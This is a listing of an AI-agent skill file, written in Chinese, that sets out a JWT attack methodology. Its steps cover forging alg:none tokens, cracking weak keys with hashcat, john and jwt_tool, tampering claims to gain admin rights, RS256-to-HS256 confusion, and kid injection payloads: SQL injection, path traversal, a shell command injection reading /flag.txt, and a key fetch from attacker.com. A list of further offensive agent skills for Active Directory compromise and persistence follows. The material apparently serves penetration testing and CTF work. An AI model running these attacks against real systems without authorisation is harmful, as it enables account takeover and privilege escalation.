jwt-attack-methodology

$npx mdskill add wgpsec/AboutSecurity/jwt-attack-methodology

Exploit JWT tokens via algorithm bypass and key cracking.

  • Bypass signature validation and extract elevated permissions.
  • Integrates with hashcat, john, jwt_tool, and c-jwt-cracker.
  • Detects JWT patterns in headers, cookies, and API responses.
  • Executes attacks by modifying algorithm fields and injecting claims.

SKILL.md

.github/skills/jwt-attack-methodologyView on GitHub ↗
---
name: jwt-attack-methodology
description: "JWT Token 攻击方法论。当响应头/Cookie 中出现 eyJ 开头的字符串(三段式 base64,Header.Payload.Signature)、Authorization: Bearer token、API 返回 token/access_token 字段时使用。包含 alg:none 绕过、弱密钥爆破(hashcat/john/c-jwt-cracker/jwt_tool 完整工具链)、Claims 篡改提权、RS256->HS256 算法混淆、kid 注入(SQL/路径穿越/命令注入)、jku/x5u 替换。注意:非 JWT 的 Cookie 分析请使用 cookie-analysis"
metadata:
  tags: "jwt,json web token,authentication,token,none-algorithm,weak-secret,bearer,eyJ,jwt_tool,HS256,RS256,kid,jku,算法混淆,密钥爆破,alg none,claims篡改"
  category: "exploit"
---

# JWT 攻击方法论

## Phase 1: 获取和解码 JWT
1. 登录获取 token(检查响应头 Set-Cookie 和响应体 JSON 字段)
2. 确认 JWT 格式:三段 Base64 由 `.` 分隔(Header.Payload.Signature)
3. 使用 jwt_decode 工具或 `echo '<part>' | base64 -d` 手动解码:
   - Header:检查 `alg` 字段(HS256/RS256/none)、`kid`/`jku`/`x5u` 参数
   - Payload:检查 `sub`、`role`、`admin`、`is_admin`、`user_id`、`exp` 等 Claims
   - 记录签名算法、过期时间、关键权限字段
4. 检查 token 是否过期:`exp` 字段转换为 Unix 时间戳对比当前时间
5. 对比不同用户的 JWT,找出权限相关字段的差异

## ⛔ 深入参考(发现 JWT 后必读)

- RS256→HS256 算法混淆、kid 注入(SQL/路径穿越/命令注入)、jku/x5u 替换 → [references/jwt-advanced.md](references/jwt-advanced.md)
- 弱密钥爆破完整工具链(hashcat/john/c-jwt-cracker/jwt_tool/Python + 弱密钥模式表) → [references/jwt-advanced.md](references/jwt-advanced.md)

## Phase 2: None Algorithm 攻击
1. 将 Header 中 `alg` 改为 `none`,删除 Signature 部分(保留末尾的 `.`)
2. 重新 Base64 编码 Header 和 Payload,拼接为 `header.payload.`
3. 发送请求,观察服务端是否接受无签名 token
4. 尝试大小写变种绕过:`"none"`, `"None"`, `"NONE"`, `"nOnE"`, `"NoNe"`
5. 某些库只在 alg 为精确 `"none"` 时绕过,需逐个测试
```
原始: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
攻击: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
```

## Phase 3: 弱密钥爆破(HS256/HS384/HS512 专用)
1. 手动测试常见弱密钥:`secret`, `password`, `123456`, `key`, `jwt_secret`, `changeme`, `""`(空字符串)
2. 使用 hashcat 离线爆破:`hashcat -m 16500 jwt.txt wordlist.txt`
3. 使用 john:`john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256`
4. 轻量工具 c-jwt-cracker:`./jwtcrack <token>`(纯暴力,适合短密钥)
5. jwt_tool 综合工具:`python3 jwt_tool.py <token> -C -d wordlist.txt`
6. 知道密钥后伪造 token:
```python
import jwt; print(jwt.encode({'user':'admin','role':'admin'}, 'SECRET_KEY', algorithm='HS256'))
```
→ **完整爆破工具链和弱密钥模式表** → [references/jwt-advanced.md](references/jwt-advanced.md)

## Phase 4: Claims 篡改
1. 解码 Payload,列出所有 Claims 字段
2. 修改权限相关字段:`role:user→admin` | `is_admin:false→true` | `user_id:5→1`
3. 尝试添加新字段:`"admin":true`、`"groups":["admin"]`
4. 修改 `exp` 延长 token 有效期(如改为 2099 年时间戳)
5. 使用已知密钥重新签名,替换原 token 发送请求
6. 对比响应确认权限是否提升(检查 HTTP 状态码、响应内容、可访问的端点)

## Phase 5: RS256→HS256 算法混淆
1. 确认服务端使用 RS256(非对称)算法签名
2. 获取公钥:请求 `/api/jwks`、`/.well-known/jwks.json`、`/oauth/jwks`
3. 将 Header 中 `alg` 从 `RS256` 改为 `HS256`
4. 使用 RS256 的公钥作为 HS256 的对称密钥签名 token
5. 发送篡改后的 token,利用服务端用公钥做 HMAC 验证的逻辑漏洞
→ 详细原理和脚本 → [references/jwt-advanced.md](references/jwt-advanced.md)

## Phase 6: kid 参数注入
1. 检查 JWT Header 中是否存在 `kid`(Key ID)字段
2. SQL 注入:`"kid":"1' UNION SELECT 'my-key' -- "` → 用 `my-key` 签名
3. 路径穿越:`"kid":"../../dev/null"` → 用空文件内容作为密钥签名
4. 命令注入:`"kid":"key|cat /flag.txt"` → 某些实现会执行 shell 命令
5. SSRF:`"kid":"http://attacker.com/key"` → 从攻击者服务器获取密钥
→ 完整 payload → [references/jwt-advanced.md](references/jwt-advanced.md)

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|